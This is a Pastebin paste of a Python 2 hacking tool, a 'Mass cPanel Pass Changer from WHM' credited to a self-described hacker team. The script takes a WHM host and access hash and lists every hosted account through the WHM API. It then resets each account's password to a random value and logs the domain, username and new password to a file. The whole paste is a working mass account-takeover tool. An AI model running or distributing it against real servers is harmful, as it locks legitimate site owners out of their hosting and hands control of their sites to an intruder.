Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #fsociety
- #cOded by Sajjad 1337 ~
- import urllib2, urllib, httplib, re, sys, random,string , json
- prefix1 = "T@NS"
- lame = '''
- [=] Mass cPanel Pass Changer from WHM [=]
- [+] Coded By Sajjad 1337 [+]
- [-] DZ Quake Team Hackers[-]
- ''' #lamers can change their logo here :V
- print lame
- url = raw_input('[~]Put Like This :(http://host:2086)\n[$]~ ')
- extraLove = ['@','47','V','T','G']
- hardcore = ''.join(random.choice(extraLove) for _ in range(2))
- opener = urllib2.build_opener()
- ua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A'
- access = raw_input("[~] Put Like This: (user:accesshash)\n[$]~ ")
- opener.addheaders = [('User-agent', ua),('Authorization','WHM ' + access)]
- try:
- viewall = opener.open(url + '/json-api/listaccts').read()
- if not '"acct":' in viewall:
- print "\!/ Fuck Access Denied!"
- sys.exit()
- except (urllib2.URLError, urllib2.HTTPError, IOError, httplib.HTTPException) as e:
- print "Error!! in first request...!"
- print str(e)
- print "\nPlease fix this and relaunch!"
- sys.exit()
- uinfos = json.loads(viewall)
- for userdata in uinfos['acct']:
- leetsname = userdata.get('user')
- leetsweb = userdata.get('domain')
- rand_pass = lambda n: ''.join([random.choice(string.lowercase) for i in xrange(n)])
- leet_pass = hardcore + rand_pass(6) + prefix1
- churl = url + '/json-api/passwd?api.version=1&user='+leetsname+'&password=' + leet_pass
- req = urllib2.Request(churl)
- try:
- changeit = opener.open(req).read()
- if "has been changed" in changeit:
- with open('changed.txt','a+') as e:
- formatit = leetsweb + ':2082' + '|' + leetsname + '|' + leet_pass
- e.write(formatit+'\n')
- print formatit
- else:
- continue
- except (urllib2.URLError, urllib2.HTTPError, IOError, httplib.HTTPException) as e:
- print "Error!! changing pass...![maybe suspended]"
- print str(e)
- print "\nignoring and continue"
- continue
- print "[+] Saved as changed.txt ."
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement